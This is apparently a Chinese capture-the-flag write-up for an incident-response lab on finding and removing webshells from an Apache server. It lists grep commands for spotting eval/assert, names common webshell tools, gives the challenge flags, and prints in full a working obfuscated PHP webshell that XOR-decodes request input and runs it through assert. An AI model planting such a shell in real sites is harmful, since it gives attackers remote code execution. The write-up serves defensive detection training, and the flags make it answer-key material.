题目地址:第一章 应急响应-webshell查杀 · 玄机 - EDISEC
本次靶场要求提供的flag如下:
- 黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
- 黑客使用的什么工具的shell github地址的md5 flag{md5}
- 黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
- 黑客免杀马完整路径 md5 flag{md5}
Flag1
黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
首先定位Web服务器,查看网络发现开放了80端口
查看端口对应应用知道了使用的web服务器为apache
直接进入根目录,在Apache根目录发现webshell文件shell.php
,代码中没有特别的内容,也没有符合格式的字符串
搜索web目录下的php文件,看是否包含恶意函数,发现有三个文件中包含了恶意函数
find ./ -type f -name "*.php" | xargs grep "eval("
find ./ -type f -name "*.php" | xargs grep "assert("
查看文件源代码,在./include/gz.php
中得到第一个flag
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
Flag2
常用的Webshell连接工具主要就下面几款:
- caidao,中国菜刀
- AntSword,蚁剑
- Behinder,冰蝎
- Godzilla,哥斯拉
首先通过文件名gz.php
可以联想到是Godzilla的缩写,但是用哥斯拉生成的webshell就只是普通的一句话,而这个webshell的代码格式有点像冰蝎
用两个Webshell的github地址都试试
https://github.com/rebeyond/Behinder
https://github.com/BeichenDream/Godzilla
最后发现flag是哥斯拉的md5加密值
flag{39392de3218c333f794befef07ac9257}
Flag3
黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
之前查恶意代码发现有一个文件是.Mysqli.php
,用.
作为开头的文件不会直接显示出来,可以确定这个是隐藏文件
对文件路径进行md5加密得到flag
flag{aebac0e58cd6c5fad1695ee4d1ac1919}
Flag4
黑客免杀马完整路径 md5 flag{md5}
查看apache日志,日志路径位于/var/log/apache2/access.log
,
可以看到有/wap/top.php?1=phpinfo()
的请求,说明该文件可以执行任意函数
查看文件内容,发现确实是使用了字符串拼接进行免杀,代码中没有直接暴露的高危函数
<?php
$key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);
对代码进行解析,可以得知变量$c
代表的是函数assert()
,而变量$fun
是传入的要执行的代码phpinfo()
根据flag的格式要求,对免杀马文件的绝对路径进行md5加密,就能得到flag
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}